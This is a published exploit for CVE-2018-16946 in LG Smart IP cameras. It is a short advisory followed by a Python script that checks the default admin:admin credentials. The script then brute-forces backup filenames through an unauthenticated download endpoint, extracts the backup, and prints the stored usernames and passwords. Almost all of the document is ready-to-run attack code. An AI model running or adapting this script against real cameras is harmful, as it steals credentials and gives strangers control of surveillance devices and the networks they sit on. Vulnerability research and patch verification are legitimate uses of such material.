LG Smart IP Camera 1508190 - Backup File Download

# Exploit Title: LG Smart IP Camera 1508190 - Backup File Download
# Date: 2018-09-11
# Exploit Author: Ege Balci
# Vendor Homepage: https://www.lg.com
# Software version: 1310250 <= 1508190
# Model: LNB*/LND*/LNU*/LNV*
# CVE: CVE-2018-16946

# Description: smart network camera devices have broken access control. Attackers are able to 
# download /updownload/t.report (aka Log & Report) files and download backup files (via download.php) 
# without authenticating. These backup files contain user credentials and configuration information for 
# the camera device. An attacker is able to discover the backup filename via reading the system logs or 
# report data, or just by brute-forcing the backup filename pattern. It may be possible to authenticate 
# to the admin account with the admin password.

# lg_smart_ip.py

#!/usr/bin/python3

import os
import sys
import sqlite3
import tarfile
import requests    
import datetime
import threading

if len(sys.argv) < 2:
    print("Usage:\n\t"+sys.argv[0]+" <TARGET-URL>")
    exit(0)

print("#==========================================================================#")
print("# Exploit Title: LG Smart IP Device Backup Download")
print("# Date: 09-11-2018")
print("# Exploit Author: Ege Balcı")
print("# Vendor Homepage: https://www.lg.com")
print("# Model: LNB*/LND*/LNU*/LNV*")
print("# CVE: CVE-2018-16946")
print("#==========================================================================#\n\n")

model_version_list = ["2219.0.0.1505220","2745.0.0.1508190","1954.0.0.1410150", "1030.0.0.1310250"] 

# First try the default login creds...
headers = {'Authorization': 'Basic YWRtaW46YWRtaW4='}
default = requests.get(sys.argv[1]+"/httpapi?GetDeviceInformation", headers=headers)
if "Model:" in default.text:
    print("[+] Default password works  (admin:admin)")
    # exit(0)


def brute(model_version):
    date = datetime.datetime.now()
    u = (['\\','|','/','-'])

    for i in range(0,3650): # No need to go back futher these cameras didn't existed 10 years ago 
        sys.stdout.flush()
        sys.stdout.write("\r[*] Bruteforing backup date...{0}".format(u[i%4]))

        log_date = date.strftime("%y")
        log_date += date.strftime("%m")
        log_date += date.strftime("%d")        

        url = "/download.php?file="
        backup_name = "backup_"
        backup_name += log_date
        backup_name += "_"+model_version+".config"

        
        ContentLength = requests.head(sys.argv[1]+url+backup_name,stream=True).headers["Content-Length"]
        if ContentLength != "":
            backup = requests.get(sys.argv[1]+url+backup_name)
            print("\n[+] Backup file found !")
            print("[+] "+backup_name+" -> "+str(len(backup.content))+"\n")
            backup_file = open(backup_name+".tar.gz","wb")
            backup_file.write(backup.content)
            backup_file.close()
            tar = tarfile.open(str(backup_name+".tar.gz"),mode="r:gz")
            for member in tar.getnames():
                # Print contents of every file
                print("[>] "+member)
                mem = open(member,"wb")
                mem.write(tar.extractfile(member).read())
            
            
            conn = sqlite3.connect('mipsca.db')
            c = conn.cursor()
            users = c.execute("SELECT * FROM User")
            print("#=============== SUCCESS ===============#")
            for u in users:
                print("\n[#] Username: "+u[0])
                print("[#] Password: "+u[1])
            os.system("rm mipsca.db ConfigInfo.txt "+ backup_name+".tar.gz")
            break
        date = (date-datetime.timedelta(days=1))



report = requests.get(sys.argv[1]+"/updownload/t.report",verify=False)
if report.status_code != 200:
    print("[-] Target device don't have report data :(")
    jobs = []
    for mv in model_version_list:
        t = threading.Thread(target=brute(mv))
        jobs.append(t)

    for j in jobs:
        j.start()
else:
    model_id = (((report.text.split("= "))[1]).split("\n"))[0]
    print("[+] Model ID: "+model_id)
    version = (((report.text.split("= "))[2]).split("\n"))[0]
    print("[+] Version: "+version)
    brute(model_id+"."+version)